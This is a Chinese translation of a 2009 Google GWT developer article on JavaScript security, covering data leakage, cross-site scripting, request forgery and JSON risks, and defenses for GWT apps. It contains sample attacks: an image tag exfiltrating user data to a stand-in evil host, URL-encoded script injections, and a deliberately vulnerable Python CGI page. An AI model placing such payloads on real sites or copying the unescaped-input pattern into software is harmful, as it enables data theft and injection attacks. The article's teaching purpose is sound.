安全性

Dan Morrill,Google 开发者关系团队

更新于 2009 年 1 月

不幸的是,如果开发者不谨慎,JavaScript 应用很容易受到各种安全漏洞的攻击。由于 GWT 生成 JavaScript 代码,我们 GWT 开发者与其他人一样容易受到 JavaScript 攻击。但是,由于 GWT 的目标是让开发者专注于用户的需求,而不是 JavaScript 和浏览器的怪癖,很容易放松警惕。为了确保 GWT 开发者充分了解风险,我们整理了这篇文章。

GWT 的使命是为开发者提供构建 AJAX 应用所需的工具,使网络对最终用户更加友好。但是,我们构建的应用必须既安全又实用,否则我们的社区就无法很好地完成我们的使命。

本文是关于 JavaScript 攻击的入门介绍,面向 GWT 开发者。第一部分以通用术语描述了针对 JavaScript 的主要攻击类别,这些术语适用于任何 AJAX 框架。在介绍完这些攻击的背景信息后,第二部分描述了如何保护您的 GWT 应用免受这些攻击。

  1. 第一部分:JavaScript 漏洞
    1. 数据泄漏
    2. 跨站点脚本攻击
    3. 伪造请求
    4. JSON 和 XSRF
  2. 第二部分:GWT 开发者如何反击
    1. XSS 和 GWT
    2. XSRF 和 GWT
    3. JSON 和 GWT
  3. 结论

第一部分:JavaScript 漏洞

这些问题,就像互联网上的许多其他问题一样,源于恶意程序员。有些人把大量时间花在想出窃取你数据的创意方法上。网页浏览器的供应商尽力阻止这些人,其中一种方法是采用同源策略。

同源策略 (SOP) 规定,在从站点 A 加载的页面中运行的代码无法访问属于任何其他站点或任何其他页面的数据或网络资源(除非该页面也从站点 A 加载)。其目的是防止恶意黑客将恶意代码注入站点 A,从而收集您的私人数据并将其发送到他们的恶意站点 B。当然,这是众所周知的限制,它阻止您的 AJAX 代码对不在当前页面所在站点的 URL 发起 XMLHTTPRequest 调用。熟悉 Java Applet 的开发者会认识到这与非常类似的安全策略。

然而,有一种方法可以绕过同源策略,它始于信任。网页拥有自己的数据,当然可以自由地将这些数据提交回其来源网站。正在运行的 JavaScript 代码被认为是良性的,并且知道它在做什么。如果代码已经在运行,那么阻止它执行任何恶意操作已经太迟了,所以您不妨信任它。

JavaScript 代码被信任的一件事是加载更多内容。例如,您可以编写一些 JavaScript 代码来将 <img> 标记插入到当前页面并从当前页面中删除 <img> 标记,从而构建一个基本图像库应用程序。当您插入 <img> 标记时,浏览器会立即加载图像,就好像该图像最初就存在于页面中一样;如果您删除(或隐藏)<img> 标记,浏览器会将其从显示中移除。

本质上,SOP 允许 JavaScript 代码执行原始 HTML 页面可以执行的任何操作 - 它只是阻止该 JavaScript 将数据发送到不同的服务器,或者读取或写入属于不同服务器的数据。

数据泄漏

上面的文本提到“阻止 JavaScript 将数据发送到不同的服务器”。不幸的是,这并不完全正确。实际上,可以将数据发送到不同的服务器,尽管说“泄漏”可能更准确。

JavaScript 可以自由地向当前页面添加新资源 - 例如 <img> 标记。您可能知道,您可以将托管在 foo.com 上的图像内嵌到由 bar.com 提供的页面中。事实上,有些人会对您这样做感到不安,因为这会使用他们的带宽为您的网站访问者提供图像。但这是 HTML 的一项功能,由于 HTML 可以做到这一点,所以 JavaScript 也能做到这一点。

通常,您会将其视为只读操作:浏览器请求图像,服务器发送数据。浏览器没有上传任何内容,所以不会丢失任何数据,对吧?几乎,但并非完全如此。浏览器确实上传了一些东西:即图像的 URL。图像使用标准 URL,任何 URL 都可以包含编码的查询参数。这种做法的合法用例可能是页面点击计数器图像,其中服务器上的 CGI 根据查询参数选择适当的图像并将数据流式传输到用户。这是一个合理的(尽管是假设的)URL,它可以返回显示数字“42”的点击计数图像

http://site.domain.tld/pagehits?count=42

在静态 HTML 世界中,这是完全合理的。毕竟,服务器不会将客户端发送到会泄漏服务器或用户数据的网站 - 至少,不是有意为之。由于这种技术在 HTML 中是合法的,因此在 JavaScript 中也是合法的,但它有一个意想不到的后果。如果一些恶意 JavaScript 代码被注入到一个良好的网页中,它可以构建 <img> 标记并将其添加到页面中。

然后,它可以自由地构建指向任何恶意域的 URL,将其粘贴到 <img> 标记中,并发出请求。很容易想象一种场景,其中恶意代码窃取一些有用的信息并将其编码到 <img> URL 中;例如,以下标记:

<img src="http://evil.domain.tld/pagehits?private_user_data=12345"/>

如果 private_user_data 是密码、信用卡号码或类似的东西,那将是一个大问题。如果恶意代码将图像的大小设置为 1 像素乘 1 像素,用户甚至不太可能注意到它。

跨站点脚本攻击

上面描述的漏洞类型是称为“跨站点脚本攻击”(简称“XSS”) 的一类攻击的示例。这些攻击涉及浏览器脚本代码,该代码跨站点传输数据(或执行更糟糕的事情)。这些攻击也不限于 <img> 标记;它们可以在浏览器允许脚本代码访问 URL 的大多数地方使用。以下是一些 XSS 攻击的示例

  • 恶意代码创建一个隐藏的 iframe,然后向其中添加一个 <form>。该表单的操作设置为攻击者控制的服务器上的 URL。然后,它使用来自父页面的信息填充表单的隐藏字段,然后提交表单。
  • 恶意代码创建一个隐藏的 iframe,构建一个包含来自父页面的信息的查询参数的 URL,然后将 iframe 的“src”设置为攻击者控制的服务器上的 URL。
  • 恶意代码创建一个 <script> 标记,其功能与 <img> 攻击几乎完全相同。(实际上,情况更糟,我将在后面的部分中解释。)

显然,如果恶意代码进入您的页面,它可以做一些坏事。顺便说一下,不要把我的示例视为完整的列表;这种技巧的变体太多了,无法在这里一一列举。

在所有这些过程中,有一个很大的假设,即恶意 JavaScript 代码可以进入一个原本良好的页面。这听起来应该很难做到;毕竟,服务器不会故意在发送给网页浏览器的 HTML 数据中包含恶意代码。不幸的是,事实证明,如果服务器(有时甚至是客户端)程序员没有始终保持警惕,这样做相当容易。而且,像往常一样,恶意人士正在花费大量时间想出方法来做到这一点。

恶意代码进入原本良好的页面的方法不胜枚举。通常,它们都归结为不谨慎的代码,它将用户输入回送给用户。例如,以下 Python CGI 代码存在漏洞

import cgi
f = cgi.FieldStorage()
name = f.getvalue('name') or 'there'

s = '<html><body><div>Hello, ' + name + '!</div></body></html>'

print 'Content-Type: text/html'
print 'Content-Length: %s' % (len(s),)
print
print s

该代码应该根据表单输入打印简单的问候语。例如,以下 URL 会打印“Hello, Dan!”

http://site.domain.tld/path?name=Dan

但是,由于 CGI 不会检查“name”变量的值,因此攻击者可以在其中插入脚本代码。

这是一段弹出警报窗口的 JavaScript 代码

<script>alert('Hi');</script>

这段脚本代码可以被编码到一个 URL 中,比如这个

http://site.domain.tld/path?name=Dan%3Cscript%20%3Ealert%28%22Hi%22%29%3B%3C/script%3E

这个 URL,当运行在上面的 CGI 中时,会将 <script> 标签直接插入到生成的 HTML 中的 <div> 块。当用户加载 CGI 页面时,它仍然显示 “Hello, Dan!”,但它也会弹出一个 JavaScript 警报窗口。

不难想象,攻击者可以在这个 URL 中添加比 JavaScript 警报更糟糕的东西。同样也不难想象,你的真实世界中更复杂的服务器端代码,很容易在不知不觉中包含这样的漏洞。也许最可怕的是,像上面这样的恶意 URL 可以完全在没有你参与的情况下利用你的服务器。

解决方案通常很简单:你只需要确保每次将用户输入写回新页面时,都对其进行转义或剥离内容。但就像很多事情一样,说起来容易做起来难,需要时刻保持警惕。

伪造请求

如果我们能在这一点上结束这篇文章就好了。不幸的是,我们不能。你会发现,我们还没有介绍另一类攻击。

你可以将这种攻击视为 XSS 的逆向操作。在这种情况下,攻击者会引诱你的用户访问他们自己的网站,并使用他们的浏览器攻击你的服务器。这种攻击的关键是不安全的服务器端会话管理。

网站管理会话最常见的方式可能是通过浏览器 cookie。通常情况下,服务器会向用户展示一个登录页面,用户在页面上输入用户名和密码等凭据,然后提交页面。服务器会检查凭据,如果凭据正确,就会设置一个浏览器会话 cookie。浏览器发出的每个新请求都会附带这个 cookie。由于服务器知道没有其他网站可以设置这个 cookie(这是因为浏览器的同源策略),所以服务器知道用户之前已经经过了身份验证。

这种方法的问题是,会话 cookie 在用户离开网站时不会过期(它们会在浏览器关闭或一段时间后过期)。由于浏览器会在向你的服务器发送任何请求时包含 cookie,无论上下文如何,如果你的用户已登录,其他网站就可以触发你的服务器上的操作。这通常被称为 “跨站请求伪造” 或 XSRF(有时也称为 CSRF)。

最容易受到 XSRF 攻击的网站,也许具有讽刺意味的是,那些已经拥抱面向服务的模型的网站。传统的非 AJAX 网页应用程序是 HTML 繁重的,并且本质上需要多页面的 UI 操作。同源策略阻止 XSRF 攻击者读取其请求的结果,这使得 XSRF 攻击者无法执行多页面的操作。如果正确实现,要求用户点击确认按钮的简单方法足以阻止 XSRF 攻击。

不幸的是,消除这些额外的步骤是 AJAX 编程模型的关键目标之一。AJAX 允许应用程序的 UI 逻辑在浏览器中运行,这反过来又允许与服务器的通信成为严格定义的操作。例如,你可能会开发一个企业人力资源应用程序,其中服务器公开一个 URL,允许浏览器客户端将用户的员工数据列表发送给其他人。此类服务是面向操作的,这意味着一个 HTTP 请求就足以完成某些操作。

由于单个请求触发了操作,因此 XSRF 攻击者无需查看来自 XMLHTTPRequest 样式服务的响应。一个公开 “发送员工数据” 作为此类服务的基于 AJAX 的人力资源网站,可能会受到 XSRF 攻击的利用,该攻击精心构造了一个 URL,将员工数据发送给攻击者。如你所见,基于 AJAX 的应用程序比传统的网站更容易受到 XSRF 攻击,因为攻击页面无需在所有操作完成后导航多页面序列。

JSON 和 XSRF

到目前为止,我们已经看到了 XSS 和 XSRF 的双重打击。不幸的是,还有更多。如今,JSON(JavaScript 对象表示法)是最新的热门技术,它确实很火。它是一种巧妙的,甚至优雅的技术。它的性能也很好,因为它使用低级(意思是:快速)浏览器支持来处理解析。它也很容易编程,因为结果是一个 JavaScript 对象,这意味着你几乎可以免费获得对象序列化。不幸的是,这种强大的技术会给你的代码带来相当大的风险;如果你选择在你的 GWT 应用程序中使用 JSON,那么了解这些风险至关重要。

在这一点上,你需要了解 JSON;如果你还不熟悉它,请查看 json.org 网站。JSON 的一个近亲是 “带填充的 JSON” 或 JSONP,因此你也要熟悉它。以下是我们能找到的最早关于 JSONP 的讨论:远程 JSON - JSONP.

XSS 和 XSRF 已经很糟糕了,但 JSON 为它们提供了喘息的机会,可以说,这使得它们更加危险。解释这一点的最好方法就是描述 JSON 的使用方式。它有三种形式,每种形式都面临着不同程度的漏洞

  • 作为 XMLHTTPRequest 调用(或其他请求)的响应文本返回的 JSON 字符串

    Examples:
    
    ` [ 'foo', 'bar' ]`
    
    ` { 'data': ['foo', 'bar'] }`
    
    Typically these strings are parsed via a call to JavaScript's 'eval' function for fast decoding.
    
  • 包含分配给变量的 JSON 对象的字符串,由服务器作为对 <script> 标签的响应返回。

    Example:
    
    ` var result = { 'data': ['foo', 'bar'] };`
    
  • 包含作为函数调用参数传递的 JSON 对象的字符串,即 JSONP 模型。

    Example:
    
    ` handleResult({'data': ['foo', 'bar']});`
    

最后两个示例在作为对 <script> 标签包含的响应由服务器返回时最有帮助。这可能需要一些解释。前面提到的文本描述了 JavaScript 如何被允许动态添加指向远程站点上图像的 <img> 标签。<script> 标签也是一样的:JavaScript 代码可以动态插入新的 <script> 标签,导致更多 JavaScript 代码加载。

这使得动态 <script> 插入成为一项非常有用的技术,特别是对于 mashup。Mashup 经常需要从不同的站点获取数据,但同源策略阻止它们直接使用 XMLHTTPRequest 调用来获取数据。然而,当前正在运行的 JavaScript 代码被信任可以从不同的站点加载新的 JavaScript 代码,谁说这些代码不能实际上是数据呢?

这个概念一开始可能看起来很可疑,因为它似乎违反了同源限制,但实际上并非如此。代码要么被信任,要么不被信任。加载更多代码比加载数据更危险,所以既然你当前的代码已经被信任可以加载更多代码,为什么它不应该被信任来加载数据呢?同时,<script> 标签只能由最初受信任的代码插入,而信任的全部意义在于……你相信它知道自己在做什么。虽然 XSS 会滥用信任,但最终 XSS 只能源于有漏洞的服务器端代码。同源策略基于对服务器的信任——包括所有漏洞。

那么这意味着什么呢?如何编写一个通过这些方法公开数据的服务器端服务存在漏洞呢?好吧,其他人已经比我们更好地解释了这一点,这里有一些很好的解释

继续阅读这些内容——并确保关注链接!一旦你消化了所有内容,你可能会发现你应该谨慎使用 JSON——无论你是在使用 GWT 还是其他工具。

第 2 部分:GWT 开发人员如何反击

但这篇文章是为 GWT 开发人员写的,对吧?那么 GWT 开发人员如何受到这些事情的影响呢?答案是我们与其他人一样容易受到攻击,因此我们必须同样谨慎。以下部分详细介绍了每种威胁如何影响 GWT。

XSS 和 GWT

另请参见 SafeHtml——提供带有示例的编码指南,展示如何保护你的应用程序免受由于不受信任的数据而导致的 XSS 漏洞

如果你严格遵循良好的 JavaScript 编程实践,就可以避免 XSS。由于 GWT 帮助你遵循良好的 JavaScript 实践,它可以帮助你解决 XSS 问题。然而,GWT 开发人员并非免疫,而且根本不存在万无一失的解决方案。

目前,我们认为 GWT 将你对 XSS 攻击的暴露隔离到这些向量

  • 与 GWT 无关的主页上的 JavaScript
  • 你编写的将 innerHTML 设置为 GWT 小部件对象的代码
  • 使用 JSON API 解析不受信任的字符串(最终调用 JavaScript 的 eval 函数)
  • JavaScript 本地接口 (JSNI) 代码,你编写的代码执行不安全的操作(例如设置 innerHTML,调用 eval,通过 document.write 直接写入文档等)

不过,不要相信我们的说法!没有人是完美的,所以始终把安全性放在心上很重要。不要等到你的安全审计发现漏洞,在编码时要不断地考虑这个问题。

继续阅读有关上述四个向量的更多详细信息。

非 GWT JavaScript

许多开发人员在使用 GWT 的同时还使用其他 JavaScript 解决方案。例如,你的应用程序可能正在使用来自多个站点的代码的 mashup,或者你可能正在将 GWT 与第三方纯 JavaScript 库一起使用。在这种情况下,即使你应用程序的 GWT 部分是安全的,但你的应用程序也可能由于这些非 GWT 库而存在漏洞。

如果你在你的应用程序中混合了其他 JavaScript 代码和 GWT,那么审查所有部分以确保你的整个应用程序是安全的非常重要。

设置 innerHTML 的代码

使用一些静态 HTML 内容填充表格、DIV、框架和类似 UI 元素的正文是一种常见技术。这最容易通过将值分配给 JavaScript 对象上的 innerHTML 属性来实现。但是,这可能存在风险,因为它允许恶意内容直接插入到页面中。

以下是一个示例。考虑这个基本的 JavaScript 页面

<html>
<head>
  <script language="JavaScript">
    function fillMyDiv(newContent) {
      document.getElementById('mydiv').innerHTML = newContent;
    }
  </script>
</head>
<body>
  <p>Some text before mydiv.</p>
  <div id="mydiv"></div>
  <p>Some text after mydiv.</p>
</body>
</html>

该页面包含一个名为 ‘mydiv’ 的占位符 <div>,以及一个 JavaScript 函数,它只将 innerHTML 设置为该 div。想法是,你可以在页面上的其他代码中调用该函数,以便在你想要更新显示的内容时进行操作。但是,假设攻击者设法让用户传入以下 HTML 作为 ‘newContent’ 变量:<div onmousemove="alert('Hi!');">Some text</div>

每当用户将鼠标悬停在 ‘mydiv’ 上时,就会弹出一个警报。如果这还不够可怕,还有其他技术——只比这稍微复杂一些——可以立即执行代码,甚至不需要等待用户输入。这就是为什么设置 innerHTML 可能很危险;你必须确保你使用的字符串是受信任的。

同样重要的是要意识到,一个字符串并非仅仅因为它来自你的服务器就是受信任的!假设你的应用程序包含一个报告,该报告在你的用户界面中具有 “编辑” 和 “查看” 模式。出于性能方面的考虑,你可能在你的服务器上以纯 HTML 的形式生成自定义打印的报告。你的 GWT 应用程序会通过使用 RequestCallback 来获取 HTML 并将结果分配给表格单元格的 innerHTML 属性来显示它。你可能会认为该字符串是受信任的,因为它是你的服务器生成的,但这可能是一个错误的假设。如果用户能够在 “编辑” 模式下输入任意输入,攻击者可以使用多种攻击方式让用户在记录中存储一些不安全的 HTML。当用户再次查看记录时,该记录的 HTML 将是恶意的。

除非你对客户端和服务器进行极其彻底的分析,否则你不能假设来自你的服务器的字符串是安全的。为了真正安全,你可能希望始终假设注定要用于 innerHTML 或 eval 的字符串是不安全的,但至少你必须了解你的代码。

解析 JSON 字符串

这与设置 innerHTML 非常相似,尽管其影响可能更糟糕。假设您有与刚才描述的相同示例,但服务器不是返回 HTML 内容,而是将报表数据作为 JSON 字符串发送到浏览器。您通常会将该字符串传递给 GWT 的 JSONParser 类。但是,出于性能原因,该字符串调用 eval()。务必确保您传递的代码不包含恶意代码。

攻击者可以再次使用多种攻击之一,导致用户将精心构造的 JavaScript 代码保存到您的数据记录中。该代码可能包含在解析 JSON 对象时立即生效的恶意副作用。这与 innerHTML 一样严重,但实际上更容易做到,因为攻击者不需要对恶意字符串中的 HTML 玩花招——他只需使用纯 JavaScript 代码即可。

与 innerHTML 一样,不能总是正确地假设 JSON 字符串是安全的,仅仅因为它来自您的服务器。至少,在使用任何 JSON 服务(无论它是您自己的还是第三方的)之前,仔细考虑一下非常重要。

您自己的 JSNI 代码

GWT 对您编写的 JSNI 代码几乎没有控制权或洞察力。如果您编写 JSNI 代码,务必格外谨慎。调用 eval 函数或设置 innerHTML 应该立即引起警觉,但您在编写代码时应始终仔细考虑。

例如,如果您正在编写包含超链接的自定义小部件,您可能会包含一个 setURL(String) 方法。但是,如果您这样做,您应该考虑添加一个测试,以确保新的 URL 数据实际上不包含 "javascript:" URL。没有此测试,您的 setURL 方法可能会创建一个新的向量,让 XSS 代码进入您的应用程序。这只是一个可能的示例;在使用 JSNI 时,始终仔细考虑意外效果。

保护您的应用程序

作为 GWT 用户,您可以按照以下指南帮助减少代码中的 XSS 漏洞

  • 使用 GWT 代码仔细检查并清除或转义您分配给 innerHTML 的任何字符串
  • 仔细检查传递给 GWT JSON 解析器的任何 JavaScript 字符串
  • 仔细检查通过 JSNI 方法传递给 eval 或分配给 innerHTML 的任何字符串
  • 在您的本机 JSNI 方法中注意不要执行任何可能使您暴露于攻击的代码

GWT 团队正在考虑将对标准字符串检查的支持添加到 GWT 库中。您可以使用它来验证任何不受信任的字符串,以确定它是否包含不安全数据(例如 <script> 标记)。这个想法是,您可以使用此方法来帮助您检查需要传递给 innerHTML 或 eval 的任何字符串。但是,此功能目前仅在考虑中,因此,现在仍然需要进行自己的检查。务必遵循上述指南——并且务必保持警惕!

XSRF 和 GWT

另请参阅 GWT RPC XSRF 保护——解释如何使用 GWT 2.3 中引入的 RPC 令牌保护 GWT RPC 免受 XSRF 攻击。

您可以采取措施使您的 GWT 应用程序不易受到 XSRF 攻击。您可能用来保护其他 AJAX 代码的相同技术也可以用来保护您的 GWT 应用程序。

XSRF 攻击的一种常见对策是复制会话 cookie。前面我们讨论了如何使用基于 cookie 的会话管理模型通常会使您的应用程序容易受到 XSRF 攻击。防止这种情况的一种简单方法是使用 JavaScript 复制 cookie 值,并将其作为表单数据与您的 XMLHTTPRequest 调用一起提交。由于浏览器的同源策略会阻止第三方站点访问您站点上的 cookie,因此只有您的站点才能检索您的 cookie。通过将 cookie 的值与请求一起提交,您的服务器可以将实际 cookie 值与您包含的副本进行比较;如果它们不匹配,您的服务器会知道该请求是 XSRF 尝试。简而言之,此技术是一种要求发出请求的代码证明其拥有访问会话 cookie 的权限的方法。

保护您的应用程序

如果您正在 GWT 中使用 RequestBuilderRequestCallback 类,您可以通过设置自定义标头来包含您的 cookie 值来实现 XSRF 保护。以下是一些示例代码

RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, url);
rb.setHeader("X-XSRF-Cookie", Cookies.getCookie("myCookieKey"));
rb.sendRequest(null, myCallback);

如果您使用的是 GWT 的 RPC 机制,那么解决方案不幸没有那么干净。但是,您仍然可以通过多种方法来实现它。例如,您可以在您的 RemoteService 接口中的每个方法中添加一个包含 String 的参数。也就是说,如果您想要使用此接口

public interface MyInterface extends RemoteService {
  public boolean doSomething();
  public void doSomethingElse(String arg);
}

…您实际上可以使用此

public interface MyInterface extends RemoteService {
  public boolean doSomething(String cookieValue);
  public void doSomethingElse(String cookieValue, String arg);
}

当您调用该方法时,您将传入使用 Cookies.getCookie(String) 获取的当前 cookie 值。

如果您不想以这种方式标记您的 RemoteService 接口,您可以改为执行其他操作。您可能修改数据传输对象以拥有一个包含 cookieValue 的字段名称,并在创建它们时设置该值。也许最简单的解决方案是简单地将 cookie 值作为 GET 参数添加到您的 URL 中。重要的是,以某种方式将 cookie 值传送到服务器。

当然,在所有这些情况下,您都需要让您的服务器端代码将重复的值与实际 cookie 值进行比较,并确保它们相同。

GWT 团队还在考虑增强 RPC 系统,使其更易于防止 XSRF 攻击。但是,这只会出现在将来的版本中,现在您应该自己采取预防措施。

JSON 和 GWT

保护您的单站点应用程序

针对 JSON 和 JSONP 的攻击非常基础。一旦浏览器运行了代码,您就无法阻止它。保护您的服务器免受 JSON 数据盗窃的最佳方法是首先避免向攻击者发送 JSON 数据。

也就是说,有些人建议 JSON 开发人员除了 cookie 复制 XSRF 对策之外,还要采取额外的预防措施。在此模型中,您的服务器代码会将任何 JSON 响应字符串包装在 JavaScript 块注释中。例如,而不是返回 ['foo', 'bar'],而是返回 /*['foo', 'bar']*/

然后,客户端代码预计将在将字符串传递给 eval 函数之前删除注释字符。

这主要的作用是阻止您的 JSON 数据通过 <script> 标记被盗。如果您通常希望您的服务器响应直接 XMLHTTPRequest 导出 JSON 数据,则此技术将阻止攻击者对您的服务器执行 XSRF 攻击并通过之前链接的攻击之一盗取响应数据。

如果您只希望 JSON 数据通过 XMLHTTPRequest 返回,则将数据包装在块注释中可以防止某人通过 <script> 标记窃取它。如果您使用 JSON 作为您自己的服务公开的数据格式,并且不打算其他域中的服务器使用它,那么没有理由不使用此技术。即使在攻击者设法伪造 cookie 的情况下,它也可能保护您的数据安全。

保护您的混搭

如果您正在公开服务供其他混搭使用,您还应该使用 XSRF cookie 复制对策。但是,如果您正在构建您想要公开发布的 JSONP 服务,那么我们刚刚描述的第二种注释块技术将是一个障碍。

原因是注释包装技术通过完全禁用对 <script> 标记的支持来工作。由于它是 JSONP 的核心,因此它禁用了该技术。如果您正在构建一个希望其他站点用于浏览器内混搭的 Web 服务,那么此技术将阻止这样做。

相反,如果您正在构建与其他站点混搭,请务必小心!如果您的应用程序是通过动态 <script> 标记从不同域获取数据的“JSON 消费者”,那么您会暴露于他们可能拥有的任何漏洞中。如果他们的站点遭到入侵,您的应用程序也可能遭到入侵。不幸的是,就目前的技术而言,您对此无能为力。毕竟,通过使用 <script> 标记,您是在信任他们的站点。您只需要确保您的信任是值得的。

换句话说,如果您自己的服务器上有重要的私密信息,那么您可能应该避免与其他站点进行浏览器内 JSONP 风格的混搭。相反,您可以考虑构建您的服务器以充当其他站点的中继或代理。使用这种技术,浏览器只与您的站点通信,这使您可以使用更严格的保护措施。它还可能为您提供额外的机会来检查字符串以查找恶意代码。

结论

Web 2.0 可能是一个可怕的地方。希望我们已经为您提供了思考的食物以及一些您可以实施的技术来确保您的用户安全。最重要的是,我们希望我们已经给您灌输了健康的一剂偏执。如果本杰明·富兰克林今天还活着,他可能会在他的著名清单中添加一个新的“确定性”:死亡、税收……以及试图破解您网站的人。我们唯一能确定的是,未来还会有其他漏洞,因此,偏执会随着时间的推移为您服务。

最后,我们想再次强调保持警惕的重要性。这篇文章并不是针对您的应用程序的安全威胁的详尽列表。这只是一个入门,有一天它可能会过时。可能还有其他我们根本不知道的攻击。虽然我们希望您发现这些信息有用,但您可以为用户安全做的最重要的事情是不断学习,并尽可能了解安全威胁。

与往常一样,如果您有任何反馈或想讨论此问题——现在或将来——请访问我们的 GWT 开发者论坛